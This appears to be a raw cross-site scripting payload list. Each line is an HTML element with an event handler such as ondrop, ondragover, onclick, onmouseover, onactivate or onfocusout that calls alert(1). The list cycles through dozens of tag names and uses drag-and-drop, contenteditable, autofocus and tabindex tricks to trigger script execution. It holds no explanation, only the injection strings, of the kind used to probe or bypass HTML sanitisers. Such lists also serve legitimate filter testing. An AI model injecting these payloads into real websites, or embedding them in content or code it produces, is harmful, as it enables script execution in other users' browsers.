<div draggable="true" contenteditable>drag me</div><code ondrop=alert(1) contenteditable>drop here</code>
<div draggable="true" contenteditable>drag me</div><col ondragover=alert(1) contenteditable>drop here</col>
<div draggable="true" contenteditable>drag me</div><col ondrop=alert(1) contenteditable>drop here</col>
<div draggable="true" contenteditable>drag me</div><colgroup ondragover=alert(1) contenteditable>drop here</colgroup>
<div draggable="true" contenteditable>drag me</div><colgroup ondrop=alert(1) contenteditable>drop here</colgroup>
<div draggable="true" contenteditable>drag me</div><command ondragover=alert(1) contenteditable>drop here</command>
<div draggable="true" contenteditable>drag me</div><command ondrop=alert(1) contenteditable>drop here</command>
<div draggable="true" contenteditable>drag me</div><content ondragover=alert(1) contenteditable>drop here</content>
<div draggable="true" contenteditable>drag me</div><content ondrop=alert(1) contenteditable>drop here</content>
<div draggable="true" contenteditable>drag me</div><data ondragover=alert(1) contenteditable>drop here</data>
<div draggable="true" contenteditable>drag me</div><data ondrop=alert(1) contenteditable>drop here</data>
<div draggable="true" contenteditable>drag me</div><datalist ondragover=alert(1) contenteditable>drop here</datalist>
<div draggable="true" contenteditable>drag me</div><datalist ondrop=alert(1) contenteditable>drop here</datalist>
<div draggable="true" contenteditable>drag me</div><dd ondragover=alert(1) contenteditable>drop here</dd>
<div draggable="true" contenteditable>drag me</div><dd ondrop=alert(1) contenteditable>drop here</dd>
<div draggable="true" contenteditable>drag me</div><del ondragover=alert(1) contenteditable>drop here</del>
<div draggable="true" contenteditable>drag me</div><del ondrop=alert(1) contenteditable>drop here</del>
<div draggable="true" contenteditable>drag me</div><details ondragover=alert(1) contenteditable>drop here</details>
<div draggable="true" contenteditable>drag me</div><details ondrop=alert(1) contenteditable>drop here</details>
<div draggable="true" contenteditable>drag me</div><dfn ondragover=alert(1) contenteditable>drop here</dfn>
<div draggable="true" contenteditable>drag me</div><dfn ondrop=alert(1) contenteditable>drop here</dfn>
<div draggable="true" contenteditable>drag me</div><dialog ondragover=alert(1) contenteditable>drop here</dialog>
<div draggable="true" contenteditable>drag me</div><dialog ondrop=alert(1) contenteditable>drop here</dialog>
<div draggable="true" contenteditable>drag me</div><dir ondragover=alert(1) contenteditable>drop here</dir>
<div draggable="true" contenteditable>drag me</div><dir ondrop=alert(1) contenteditable>drop here</dir>
<div draggable="true" contenteditable>drag me</div><div ondragover=alert(1) contenteditable>drop here</div>
<div draggable="true" contenteditable>drag me</div><div ondrop=alert(1) contenteditable>drop here</div>
<div draggable="true" contenteditable>drag me</div><dl ondragover=alert(1) contenteditable>drop here</dl>
<div draggable="true" contenteditable>drag me</div><dl ondrop=alert(1) contenteditable>drop here</dl>
<div draggable="true" contenteditable>drag me</div><dt ondragover=alert(1) contenteditable>drop here</dt>
<div draggable="true" contenteditable>drag me</div><dt ondrop=alert(1) contenteditable>drop here</dt>
<div draggable="true" contenteditable>drag me</div><element ondragover=alert(1) contenteditable>drop here</element>
<div draggable="true" contenteditable>drag me</div><element ondrop=alert(1) contenteditable>drop here</element>
<div draggable="true" contenteditable>drag me</div><em ondragover=alert(1) contenteditable>drop here</em>
<div draggable="true" contenteditable>drag me</div><em ondrop=alert(1) contenteditable>drop here</em>
<div draggable="true" contenteditable>drag me</div><embed ondragover=alert(1) contenteditable>drop here</embed>
<div draggable="true" contenteditable>drag me</div><embed ondrop=alert(1) contenteditable>drop here</embed>
<div draggable="true" contenteditable>drag me</div><fieldset ondragover=alert(1) contenteditable>drop here</fieldset>
<div draggable="true" contenteditable>drag me</div><fieldset ondrop=alert(1) contenteditable>drop here</fieldset>
<div draggable="true" contenteditable>drag me</div><figcaption ondragover=alert(1) contenteditable>drop here</figcaption>
<div draggable="true" contenteditable>drag me</div><figcaption ondrop=alert(1) contenteditable>drop here</figcaption>
<div draggable="true" contenteditable>drag me</div><figure ondragover=alert(1) contenteditable>drop here</figure>
<div draggable="true" contenteditable>drag me</div><figure ondrop=alert(1) contenteditable>drop here</figure>
<div draggable="true" contenteditable>drag me</div><font ondragover=alert(1) contenteditable>drop here</font>
<div draggable="true" contenteditable>drag me</div><font ondrop=alert(1) contenteditable>drop here</font>
<div draggable="true" contenteditable>drag me</div><footer ondragover=alert(1) contenteditable>drop here</footer>
<div draggable="true" contenteditable>drag me</div><footer ondrop=alert(1) contenteditable>drop here</footer>
<div draggable="true" contenteditable>drag me</div><form ondragover=alert(1) contenteditable>drop here</form>
<div draggable="true" contenteditable>drag me</div><form ondrop=alert(1) contenteditable>drop here</form>
<div draggable="true" contenteditable>drag me</div><frame ondragover=alert(1) contenteditable>drop here</frame>
<div draggable="true" contenteditable>drag me</div><frame ondrop=alert(1) contenteditable>drop here</frame>
<div draggable="true" contenteditable>drag me</div><frameset ondragover=alert(1) contenteditable>drop here</frameset>
<div draggable="true" contenteditable>drag me</div><frameset ondrop=alert(1) contenteditable>drop here</frameset>
<div draggable="true" contenteditable>drag me</div><h1 ondragover=alert(1) contenteditable>drop here</h1>
<div draggable="true" contenteditable>drag me</div><h1 ondrop=alert(1) contenteditable>drop here</h1>
<div draggable="true" contenteditable>drag me</div><head ondragover=alert(1) contenteditable>drop here</head>
<div draggable="true" contenteditable>drag me</div><head ondrop=alert(1) contenteditable>drop here</head>
<div draggable="true" contenteditable>drag me</div><header ondragover=alert(1) contenteditable>drop here</header>
<div draggable="true" contenteditable>drag me</div><header ondrop=alert(1) contenteditable>drop here</header>
<div draggable="true" contenteditable>drag me</div><hgroup ondragover=alert(1) contenteditable>drop here</hgroup>
<div draggable="true" contenteditable>drag me</div><hgroup ondrop=alert(1) contenteditable>drop here</hgroup>
<div draggable="true" contenteditable>drag me</div><hr ondragover=alert(1) contenteditable>drop here</hr>
<div draggable="true" contenteditable>drag me</div><hr ondrop=alert(1) contenteditable>drop here</hr>
<div draggable="true" contenteditable>drag me</div><html ondragover=alert(1) contenteditable>drop here</html>
<div draggable="true" contenteditable>drag me</div><html ondrop=alert(1) contenteditable>drop here</html>
<div draggable="true" contenteditable>drag me</div><i ondragover=alert(1) contenteditable>drop here</i>
<div draggable="true" contenteditable>drag me</div><i ondrop=alert(1) contenteditable>drop here</i>
<div draggable="true" contenteditable>drag me</div><iframe ondragover=alert(1) contenteditable>drop here</iframe>
<div draggable="true" contenteditable>drag me</div><iframe ondrop=alert(1) contenteditable>drop here</iframe>
<div draggable="true" contenteditable>drag me</div><image ondragover=alert(1) contenteditable>drop here</image>
<div draggable="true" contenteditable>drag me</div><image ondrop=alert(1) contenteditable>drop here</image>
<div draggable="true" contenteditable>drag me</div><img ondragover=alert(1) contenteditable>drop here</img>
<div draggable="true" contenteditable>drag me</div><img ondrop=alert(1) contenteditable>drop here</img>
<div draggable="true" contenteditable>drag me</div><input ondragover=alert(1) contenteditable>drop here</input>
<div draggable="true" contenteditable>drag me</div><input ondrop=alert(1) contenteditable>drop here</input>
<div draggable="true" contenteditable>drag me</div><ins ondragover=alert(1) contenteditable>drop here</ins>
<div draggable="true" contenteditable>drag me</div><ins ondrop=alert(1) contenteditable>drop here</ins>
<div draggable="true" contenteditable>drag me</div><isindex ondragover=alert(1) contenteditable>drop here</isindex>
<div draggable="true" contenteditable>drag me</div><isindex ondrop=alert(1) contenteditable>drop here</isindex>
<div draggable="true" contenteditable>drag me</div><kbd ondragover=alert(1) contenteditable>drop here</kbd>
<div draggable="true" contenteditable>drag me</div><kbd ondrop=alert(1) contenteditable>drop here</kbd>
<div draggable="true" contenteditable>drag me</div><keygen ondragover=alert(1) contenteditable>drop here</keygen>
<div draggable="true" contenteditable>drag me</div><keygen ondrop=alert(1) contenteditable>drop here</keygen>
<div draggable="true" contenteditable>drag me</div><label ondragover=alert(1) contenteditable>drop here</label>
<div draggable="true" contenteditable>drag me</div><label ondrop=alert(1) contenteditable>drop here</label>
<div draggable="true" contenteditable>drag me</div><legend ondragover=alert(1) contenteditable>drop here</legend>
<div draggable="true" contenteditable>drag me</div><legend ondrop=alert(1) contenteditable>drop here</legend>
<div draggable="true" contenteditable>drag me</div><li ondragover=alert(1) contenteditable>drop here</li>
<div draggable="true" contenteditable>drag me</div><li ondrop=alert(1) contenteditable>drop here</li>
<div draggable="true" contenteditable>drag me</div><link ondragover=alert(1) contenteditable>drop here</link>
<div draggable="true" contenteditable>drag me</div><link ondrop=alert(1) contenteditable>drop here</link>
<div draggable="true" contenteditable>drag me</div><listing ondragover=alert(1) contenteditable>drop here</listing>
<div draggable="true" contenteditable>drag me</div><listing ondrop=alert(1) contenteditable>drop here</listing>
<div draggable="true" contenteditable>drag me</div><main ondragover=alert(1) contenteditable>drop here</main>
<div draggable="true" contenteditable>drag me</div><main ondrop=alert(1) contenteditable>drop here</main>
<div draggable="true" contenteditable>drag me</div><map ondragover=alert(1) contenteditable>drop here</map>
<div draggable="true" contenteditable>drag me</div><map ondrop=alert(1) contenteditable>drop here</map>
<div draggable="true" contenteditable>drag me</div><mark ondragover=alert(1) contenteditable>drop here</mark>
<div draggable="true" contenteditable>drag me</div><mark ondrop=alert(1) contenteditable>drop here</mark>
<div draggable="true" contenteditable>drag me</div><marquee ondragover=alert(1) contenteditable>drop here</marquee>
<div draggable="true" contenteditable>drag me</div><marquee ondrop=alert(1) contenteditable>drop here</marquee>
<div draggable="true" contenteditable>drag me</div><menu ondragover=alert(1) contenteditable>drop here</menu>
<div draggable="true" contenteditable>drag me</div><menu ondrop=alert(1) contenteditable>drop here</menu>
<div draggable="true" contenteditable>drag me</div><menuitem ondragover=alert(1) contenteditable>drop here</menuitem>
<div draggable="true" contenteditable>drag me</div><menuitem ondrop=alert(1) contenteditable>drop here</menuitem>
<div draggable="true" contenteditable>drag me</div><meta ondragover=alert(1) contenteditable>drop here</meta>
<div draggable="true" contenteditable>drag me</div><meta ondrop=alert(1) contenteditable>drop here</meta>
<div draggable="true" contenteditable>drag me</div><meter ondragover=alert(1) contenteditable>drop here</meter>
<div draggable="true" contenteditable>drag me</div><meter ondrop=alert(1) contenteditable>drop here</meter>
<div draggable="true" contenteditable>drag me</div><multicol ondragover=alert(1) contenteditable>drop here</multicol>
<div draggable="true" contenteditable>drag me</div><multicol ondrop=alert(1) contenteditable>drop here</multicol>
<div draggable="true" contenteditable>drag me</div><nav ondragover=alert(1) contenteditable>drop here</nav>
<div draggable="true" contenteditable>drag me</div><nav ondrop=alert(1) contenteditable>drop here</nav>
<div draggable="true" contenteditable>drag me</div><nextid ondragover=alert(1) contenteditable>drop here</nextid>
<div draggable="true" contenteditable>drag me</div><nextid ondrop=alert(1) contenteditable>drop here</nextid>
<div draggable="true" contenteditable>drag me</div><nobr ondragover=alert(1) contenteditable>drop here</nobr>
<div draggable="true" contenteditable>drag me</div><nobr ondrop=alert(1) contenteditable>drop here</nobr>
<div draggable="true" contenteditable>drag me</div><noembed ondragover=alert(1) contenteditable>drop here</noembed>
<div draggable="true" contenteditable>drag me</div><noembed ondrop=alert(1) contenteditable>drop here</noembed>
<div draggable="true" contenteditable>drag me</div><noframes ondragover=alert(1) contenteditable>drop here</noframes>
<div draggable="true" contenteditable>drag me</div><noframes ondrop=alert(1) contenteditable>drop here</noframes>
<div draggable="true" contenteditable>drag me</div><noscript ondragover=alert(1) contenteditable>drop here</noscript>
<div draggable="true" contenteditable>drag me</div><noscript ondrop=alert(1) contenteditable>drop here</noscript>
<div draggable="true" contenteditable>drag me</div><object ondragover=alert(1) contenteditable>drop here</object>
<div draggable="true" contenteditable>drag me</div><object ondrop=alert(1) contenteditable>drop here</object>
<div draggable="true" contenteditable>drag me</div><ol ondragover=alert(1) contenteditable>drop here</ol>
<div draggable="true" contenteditable>drag me</div><ol ondrop=alert(1) contenteditable>drop here</ol>
<div draggable="true" contenteditable>drag me</div><optgroup ondragover=alert(1) contenteditable>drop here</optgroup>
<div draggable="true" contenteditable>drag me</div><optgroup ondrop=alert(1) contenteditable>drop here</optgroup>
<div draggable="true" contenteditable>drag me</div><option ondragover=alert(1) contenteditable>drop here</option>
<div draggable="true" contenteditable>drag me</div><option ondrop=alert(1) contenteditable>drop here</option>
<div draggable="true" contenteditable>drag me</div><output ondragover=alert(1) contenteditable>drop here</output>
<div draggable="true" contenteditable>drag me</div><output ondrop=alert(1) contenteditable>drop here</output>
<div draggable="true" contenteditable>drag me</div><p ondragover=alert(1) contenteditable>drop here</p>
<div draggable="true" contenteditable>drag me</div><p ondrop=alert(1) contenteditable>drop here</p>
<div draggable="true" contenteditable>drag me</div><param ondragover=alert(1) contenteditable>drop here</param>
<div draggable="true" contenteditable>drag me</div><param ondrop=alert(1) contenteditable>drop here</param>
<div draggable="true" contenteditable>drag me</div><picture ondragover=alert(1) contenteditable>drop here</picture>
<div draggable="true" contenteditable>drag me</div><picture ondrop=alert(1) contenteditable>drop here</picture>
<div draggable="true" contenteditable>drag me</div><plaintext ondragover=alert(1) contenteditable>drop here</plaintext>
<div draggable="true" contenteditable>drag me</div><plaintext ondrop=alert(1) contenteditable>drop here</plaintext>
<div draggable="true" contenteditable>drag me</div><pre ondragover=alert(1) contenteditable>drop here</pre>
<div draggable="true" contenteditable>drag me</div><pre ondrop=alert(1) contenteditable>drop here</pre>
<div draggable="true" contenteditable>drag me</div><progress ondragover=alert(1) contenteditable>drop here</progress>
<div draggable="true" contenteditable>drag me</div><progress ondrop=alert(1) contenteditable>drop here</progress>
<div draggable="true" contenteditable>drag me</div><q ondragover=alert(1) contenteditable>drop here</q>
<div draggable="true" contenteditable>drag me</div><q ondrop=alert(1) contenteditable>drop here</q>
<div draggable="true" contenteditable>drag me</div><rb ondragover=alert(1) contenteditable>drop here</rb>
<div draggable="true" contenteditable>drag me</div><rb ondrop=alert(1) contenteditable>drop here</rb>
<div draggable="true" contenteditable>drag me</div><rp ondragover=alert(1) contenteditable>drop here</rp>
<div draggable="true" contenteditable>drag me</div><rp ondrop=alert(1) contenteditable>drop here</rp>
<div draggable="true" contenteditable>drag me</div><rt ondragover=alert(1) contenteditable>drop here</rt>
<div draggable="true" contenteditable>drag me</div><rt ondrop=alert(1) contenteditable>drop here</rt>
<div draggable="true" contenteditable>drag me</div><rtc ondragover=alert(1) contenteditable>drop here</rtc>
<div draggable="true" contenteditable>drag me</div><rtc ondrop=alert(1) contenteditable>drop here</rtc>
<div draggable="true" contenteditable>drag me</div><ruby ondragover=alert(1) contenteditable>drop here</ruby>
<div draggable="true" contenteditable>drag me</div><ruby ondrop=alert(1) contenteditable>drop here</ruby>
<div draggable="true" contenteditable>drag me</div><s ondragover=alert(1) contenteditable>drop here</s>
<div draggable="true" contenteditable>drag me</div><s ondrop=alert(1) contenteditable>drop here</s>
<div draggable="true" contenteditable>drag me</div><samp ondragover=alert(1) contenteditable>drop here</samp>
<div draggable="true" contenteditable>drag me</div><samp ondrop=alert(1) contenteditable>drop here</samp>
<div draggable="true" contenteditable>drag me</div><script ondragover=alert(1) contenteditable>drop here</script>
<div draggable="true" contenteditable>drag me</div><script ondrop=alert(1) contenteditable>drop here</script>
<div draggable="true" contenteditable>drag me</div><section ondragover=alert(1) contenteditable>drop here</section>
<div draggable="true" contenteditable>drag me</div><section ondrop=alert(1) contenteditable>drop here</section>
<div draggable="true" contenteditable>drag me</div><select ondragover=alert(1) contenteditable>drop here</select>
<div draggable="true" contenteditable>drag me</div><select ondrop=alert(1) contenteditable>drop here</select>
<div draggable="true" contenteditable>drag me</div><shadow ondragover=alert(1) contenteditable>drop here</shadow>
<div draggable="true" contenteditable>drag me</div><shadow ondrop=alert(1) contenteditable>drop here</shadow>
<div draggable="true" contenteditable>drag me</div><slot ondragover=alert(1) contenteditable>drop here</slot>
<div draggable="true" contenteditable>drag me</div><slot ondrop=alert(1) contenteditable>drop here</slot>
<div draggable="true" contenteditable>drag me</div><small ondragover=alert(1) contenteditable>drop here</small>
<div draggable="true" contenteditable>drag me</div><small ondrop=alert(1) contenteditable>drop here</small>
<div draggable="true" contenteditable>drag me</div><source ondragover=alert(1) contenteditable>drop here</source>
<div draggable="true" contenteditable>drag me</div><source ondrop=alert(1) contenteditable>drop here</source>
<div draggable="true" contenteditable>drag me</div><spacer ondragover=alert(1) contenteditable>drop here</spacer>
<div draggable="true" contenteditable>drag me</div><spacer ondrop=alert(1) contenteditable>drop here</spacer>
<div draggable="true" contenteditable>drag me</div><span ondragover=alert(1) contenteditable>drop here</span>
<div draggable="true" contenteditable>drag me</div><span ondrop=alert(1) contenteditable>drop here</span>
<div draggable="true" contenteditable>drag me</div><strike ondragover=alert(1) contenteditable>drop here</strike>
<div draggable="true" contenteditable>drag me</div><strike ondrop=alert(1) contenteditable>drop here</strike>
<div draggable="true" contenteditable>drag me</div><strong ondragover=alert(1) contenteditable>drop here</strong>
<div draggable="true" contenteditable>drag me</div><strong ondrop=alert(1) contenteditable>drop here</strong>
<div draggable="true" contenteditable>drag me</div><style ondragover=alert(1) contenteditable>drop here</style>
<div draggable="true" contenteditable>drag me</div><style ondrop=alert(1) contenteditable>drop here</style>
<div draggable="true" contenteditable>drag me</div><sub ondragover=alert(1) contenteditable>drop here</sub>
<div draggable="true" contenteditable>drag me</div><sub ondrop=alert(1) contenteditable>drop here</sub>
<div draggable="true" contenteditable>drag me</div><summary ondragover=alert(1) contenteditable>drop here</summary>
<div draggable="true" contenteditable>drag me</div><summary ondrop=alert(1) contenteditable>drop here</summary>
<div draggable="true" contenteditable>drag me</div><sup ondragover=alert(1) contenteditable>drop here</sup>
<div draggable="true" contenteditable>drag me</div><sup ondrop=alert(1) contenteditable>drop here</sup>
<div draggable="true" contenteditable>drag me</div><svg ondragover=alert(1) contenteditable>drop here</svg>
<div draggable="true" contenteditable>drag me</div><svg ondrop=alert(1) contenteditable>drop here</svg>
<div draggable="true" contenteditable>drag me</div><table ondragover=alert(1) contenteditable>drop here</table>
<div draggable="true" contenteditable>drag me</div><table ondrop=alert(1) contenteditable>drop here</table>
<div draggable="true" contenteditable>drag me</div><tbody ondragover=alert(1) contenteditable>drop here</tbody>
<div draggable="true" contenteditable>drag me</div><tbody ondrop=alert(1) contenteditable>drop here</tbody>
<div draggable="true" contenteditable>drag me</div><td ondragover=alert(1) contenteditable>drop here</td>
<div draggable="true" contenteditable>drag me</div><td ondrop=alert(1) contenteditable>drop here</td>
<div draggable="true" contenteditable>drag me</div><template ondragover=alert(1) contenteditable>drop here</template>
<div draggable="true" contenteditable>drag me</div><template ondrop=alert(1) contenteditable>drop here</template>
<div draggable="true" contenteditable>drag me</div><textarea ondragover=alert(1) contenteditable>drop here</textarea>
<div draggable="true" contenteditable>drag me</div><textarea ondrop=alert(1) contenteditable>drop here</textarea>
<div draggable="true" contenteditable>drag me</div><tfoot ondragover=alert(1) contenteditable>drop here</tfoot>
<div draggable="true" contenteditable>drag me</div><tfoot ondrop=alert(1) contenteditable>drop here</tfoot>
<div draggable="true" contenteditable>drag me</div><th ondragover=alert(1) contenteditable>drop here</th>
<div draggable="true" contenteditable>drag me</div><th ondrop=alert(1) contenteditable>drop here</th>
<div draggable="true" contenteditable>drag me</div><thead ondragover=alert(1) contenteditable>drop here</thead>
<div draggable="true" contenteditable>drag me</div><thead ondrop=alert(1) contenteditable>drop here</thead>
<div draggable="true" contenteditable>drag me</div><time ondragover=alert(1) contenteditable>drop here</time>
<div draggable="true" contenteditable>drag me</div><time ondrop=alert(1) contenteditable>drop here</time>
<div draggable="true" contenteditable>drag me</div><title ondragover=alert(1) contenteditable>drop here</title>
<div draggable="true" contenteditable>drag me</div><title ondrop=alert(1) contenteditable>drop here</title>
<div draggable="true" contenteditable>drag me</div><tr ondragover=alert(1) contenteditable>drop here</tr>
<div draggable="true" contenteditable>drag me</div><tr ondrop=alert(1) contenteditable>drop here</tr>
<div draggable="true" contenteditable>drag me</div><track ondragover=alert(1) contenteditable>drop here</track>
<div draggable="true" contenteditable>drag me</div><track ondrop=alert(1) contenteditable>drop here</track>
<div draggable="true" contenteditable>drag me</div><tt ondragover=alert(1) contenteditable>drop here</tt>
<div draggable="true" contenteditable>drag me</div><tt ondrop=alert(1) contenteditable>drop here</tt>
<div draggable="true" contenteditable>drag me</div><u ondragover=alert(1) contenteditable>drop here</u>
<div draggable="true" contenteditable>drag me</div><u ondrop=alert(1) contenteditable>drop here</u>
<div draggable="true" contenteditable>drag me</div><ul ondragover=alert(1) contenteditable>drop here</ul>
<div draggable="true" contenteditable>drag me</div><ul ondrop=alert(1) contenteditable>drop here</ul>
<div draggable="true" contenteditable>drag me</div><var ondragover=alert(1) contenteditable>drop here</var>
<div draggable="true" contenteditable>drag me</div><var ondrop=alert(1) contenteditable>drop here</var>
<div draggable="true" contenteditable>drag me</div><video ondragover=alert(1) contenteditable>drop here</video>
<div draggable="true" contenteditable>drag me</div><video ondrop=alert(1) contenteditable>drop here</video>
<div draggable="true" contenteditable>drag me</div><wbr ondragover=alert(1) contenteditable>drop here</wbr>
<div draggable="true" contenteditable>drag me</div><wbr ondrop=alert(1) contenteditable>drop here</wbr>
<div draggable="true" contenteditable>drag me</div><xmp ondragover=alert(1) contenteditable>drop here</xmp>
<div draggable="true" contenteditable>drag me</div><xmp ondrop=alert(1) contenteditable>drop here</xmp>
<div draggable="true" ondrag="alert(1)">test</div>
<div draggable="true" ondragend="alert(1)">test</div>
<div draggable="true" ondragenter="alert(1)">test</div>
<div draggable="true" ondragleave="alert(1)">test</div>
<div draggable="true" ondragstart="alert(1)">test</div>
<div id=x tabindex=1 onactivate=alert(1)></div>
<div id=x tabindex=1 onbeforeactivate=alert(1)></div>
<div id=x tabindex=1 onbeforedeactivate=alert(1)></div><input autofocus>
<div id=x tabindex=1 ondeactivate=alert(1)></div><input id=y autofocus>
<div onbeforepaste="alert(1)" contenteditable>test</div>
<div onblur=alert(1) tabindex=1 id=x></div><input autofocus>
<div onclick="alert(1)">test</div>
<div oncontextmenu="alert(1)">test</div>
<div oncopy="alert(1)" contenteditable>test</div>
<div oncut="alert(1)" contenteditable>test</div>
<div ondblclick="alert(1)">test</div>
<div onfocusout=alert(1) tabindex=1 id=x></div><input autofocus>
<div onkeydown="alert(1)" contenteditable>test</div>
<div onkeypress="alert(1)" contenteditable>test</div>
<div onkeyup="alert(1)" contenteditable>test</div>
<div onmousedown="alert(1)">test</div>
<div onmouseenter="alert(1)">test</div>
<div onmouseleave="alert(1)">test</div>
<div onmousemove="alert(1)">test</div>
<div onmouseout="alert(1)">test</div>
<div onmouseover="alert(1)">test</div>
<div onmouseup="alert(1)">test</div>
<dl draggable="true" ondrag="alert(1)">test</dl>
<dl draggable="true" ondragend="alert(1)">test</dl>
<dl draggable="true" ondragenter="alert(1)">test</dl>
<dl draggable="true" ondragleave="alert(1)">test</dl>
<dl draggable="true" ondragstart="alert(1)">test</dl>
<dl id=x tabindex=1 onactivate=alert(1)></dl>
<dl id=x tabindex=1 onbeforeactivate=alert(1)></dl>
<dl id=x tabindex=1 onbeforedeactivate=alert(1)></dl><input autofocus>
<dl id=x tabindex=1 ondeactivate=alert(1)></dl><input id=y autofocus>
<dl onbeforepaste="alert(1)" contenteditable>test</dl>
<dl onblur=alert(1) tabindex=1 id=x></dl><input autofocus>
<dl onclick="alert(1)">test</dl>
<dl oncontextmenu="alert(1)">test</dl>
<dl oncopy="alert(1)" contenteditable>test</dl>
<dl oncut="alert(1)" contenteditable>test</dl>
<dl ondblclick="alert(1)">test</dl>
<dl onfocusout=alert(1) tabindex=1 id=x></dl><input autofocus>
<dl onkeydown="alert(1)" contenteditable>test</dl>
<dl onkeypress="alert(1)" contenteditable>test</dl>
<dl onkeyup="alert(1)" contenteditable>test</dl>
<dl onmousedown="alert(1)">test</dl>
<dl onmouseenter="alert(1)">test</dl>
<dl onmouseleave="alert(1)">test</dl>
<dl onmousemove="alert(1)">test</dl>
<dl onmouseout="alert(1)">test</dl>
<dl onmouseover="alert(1)">test</dl>
<dl onmouseup="alert(1)">test</dl>
<dt draggable="true" ondrag="alert(1)">test</dt>
<dt draggable="true" ondragend="alert(1)">test</dt>
<dt draggable="true" ondragenter="alert(1)">test</dt>
<dt draggable="true" ondragleave="alert(1)">test</dt>
<dt draggable="true" ondragstart="alert(1)">test</dt>
<dt id=x tabindex=1 onactivate=alert(1)></dt>
<dt id=x tabindex=1 onbeforeactivate=alert(1)></dt>
<dt id=x tabindex=1 onbeforedeactivate=alert(1)></dt><input autofocus>
<dt id=x tabindex=1 ondeactivate=alert(1)></dt><input id=y autofocus>
<dt onbeforepaste="alert(1)" contenteditable>test</dt>
<dt onblur=alert(1) tabindex=1 id=x></dt><input autofocus>
<dt onclick="alert(1)">test</dt>
<dt oncontextmenu="alert(1)">test</dt>
<dt oncopy="alert(1)" contenteditable>test</dt>
<dt oncut="alert(1)" contenteditable>test</dt>
<dt ondblclick="alert(1)">test</dt>
<dt onfocusout=alert(1) tabindex=1 id=x></dt><input autofocus>
<dt onkeydown="alert(1)" contenteditable>test</dt>
<dt onkeypress="alert(1)" contenteditable>test</dt>
<dt onkeyup="alert(1)" contenteditable>test</dt>
<dt onmousedown="alert(1)">test</dt>
<dt onmouseenter="alert(1)">test</dt>
<dt onmouseleave="alert(1)">test</dt>
<dt onmousemove="alert(1)">test</dt>
<dt onmouseout="alert(1)">test</dt>
<dt onmouseover="alert(1)">test</dt>
<dt onmouseup="alert(1)">test</dt>
<element draggable="true" ondrag="alert(1)">test</element>
<element draggable="true" ondragend="alert(1)">test</element>
<element draggable="true" ondragenter="alert(1)">test</element>
<element draggable="true" ondragleave="alert(1)">test</element>
<element draggable="true" ondragstart="alert(1)">test</element>
<element id=x tabindex=1 onactivate=alert(1)></element>
<element id=x tabindex=1 onbeforeactivate=alert(1)></element>
<element id=x tabindex=1 onbeforedeactivate=alert(1)></element><input autofocus>
<element id=x tabindex=1 ondeactivate=alert(1)></element><input id=y autofocus>
<element onbeforepaste="alert(1)" contenteditable>test</element>
<element onblur=alert(1) tabindex=1 id=x></element><input autofocus>
<element onclick="alert(1)">test</element>
<element oncontextmenu="alert(1)">test</element>
<element oncopy="alert(1)" contenteditable>test</element>
<element oncut="alert(1)" contenteditable>test</element>
<element ondblclick="alert(1)">test</element>
<element onfocusout=alert(1) tabindex=1 id=x></element><input autofocus>
<element onkeydown="alert(1)" contenteditable>test</element>
<element onkeypress="alert(1)" contenteditable>test</element>
<element onkeyup="alert(1)" contenteditable>test</element>
<element onmousedown="alert(1)">test</element>
<element onmouseenter="alert(1)">test</element>
<element onmouseleave="alert(1)">test</element>
<element onmousemove="alert(1)">test</element>
<element onmouseout="alert(1)">test</element>
<element onmouseover="alert(1)">test</element>
<element onmouseup="alert(1)">test</element>
<em draggable="true" ondrag="alert(1)">test</em>
<em draggable="true" ondragend="alert(1)">test</em>
<em draggable="true" ondragenter="alert(1)">test</em>
<em draggable="true" ondragleave="alert(1)">test</em>
<em draggable="true" ondragstart="alert(1)">test</em>
<em id=x tabindex=1 onactivate=alert(1)></em>
<em id=x tabindex=1 onbeforeactivate=alert(1)></em>
<em id=x tabindex=1 onbeforedeactivate=alert(1)></em><input autofocus>
<em id=x tabindex=1 ondeactivate=alert(1)></em><input id=y autofocus>
<em onbeforepaste="alert(1)" contenteditable>test</em>
<em onblur=alert(1) tabindex=1 id=x></em><input autofocus>
<em onclick="alert(1)">test</em>
<em oncontextmenu="alert(1)">test</em>
<em oncopy="alert(1)" contenteditable>test</em>
<em oncut="alert(1)" contenteditable>test</em>
<em ondblclick="alert(1)">test</em>
<em onfocusout=alert(1) tabindex=1 id=x></em><input autofocus>
<em onkeydown="alert(1)" contenteditable>test</em>
<em onkeypress="alert(1)" contenteditable>test</em>
<em onkeyup="alert(1)" contenteditable>test</em>
<em onmousedown="alert(1)">test</em>
<em onmouseenter="alert(1)">test</em>
<em onmouseleave="alert(1)">test</em>
<em onmousemove="alert(1)">test</em>
<em onmouseout="alert(1)">test</em>
<em onmouseover="alert(1)">test</em>
<em onmouseup="alert(1)">test</em>
<embed draggable="true" ondrag="alert(1)">test</embed>
<embed draggable="true" ondragend="alert(1)">test</embed>
<embed draggable="true" ondragenter="alert(1)">test</embed>
<embed draggable="true" ondragleave="alert(1)">test</embed>
<embed draggable="true" ondragstart="alert(1)">test</embed>
<embed id=x tabindex=1 onactivate=alert(1)></embed>
<embed id=x tabindex=1 onbeforeactivate=alert(1)></embed>
<embed id=x tabindex=1 onbeforedeactivate=alert(1)></embed><input autofocus>
<embed id=x tabindex=1 ondeactivate=alert(1)></embed><input id=y autofocus>
<embed onbeforepaste="alert(1)" contenteditable>test</embed>
<embed onblur=alert(1) tabindex=1 id=x></embed><input autofocus>
<embed onclick="alert(1)">test</embed>
<embed oncontextmenu="alert(1)">test</embed>
<embed oncopy="alert(1)" contenteditable>test</embed>
<embed oncut="alert(1)" contenteditable>test</embed>
<embed ondblclick="alert(1)">test</embed>
<embed onfocusout=alert(1) tabindex=1 id=x></embed><input autofocus>
<embed onkeydown="alert(1)" contenteditable>test</embed>
<embed onkeypress="alert(1)" contenteditable>test</embed>
<embed onkeyup="alert(1)" contenteditable>test</embed>
<embed onmousedown="alert(1)">test</embed>
<embed onmouseenter="alert(1)">test</embed>
<embed onmouseleave="alert(1)">test</embed>
<embed onmousemove="alert(1)">test</embed>
<embed onmouseout="alert(1)">test</embed>
<embed onmouseover="alert(1)">test</embed>
<embed onmouseup="alert(1)">test</embed>
<fieldset draggable="true" ondrag="alert(1)">test</fieldset>
<fieldset draggable="true" ondragend="alert(1)">test</fieldset>
<fieldset draggable="true" ondragenter="alert(1)">test</fieldset>
<fieldset draggable="true" ondragleave="alert(1)">test</fieldset>
<fieldset draggable="true" ondragstart="alert(1)">test</fieldset>
<fieldset id=x tabindex=1 onactivate=alert(1)></fieldset>
<fieldset id=x tabindex=1 onbeforeactivate=alert(1)></fieldset>
<fieldset id=x tabindex=1 onbeforedeactivate=alert(1)></fieldset><input autofocus>
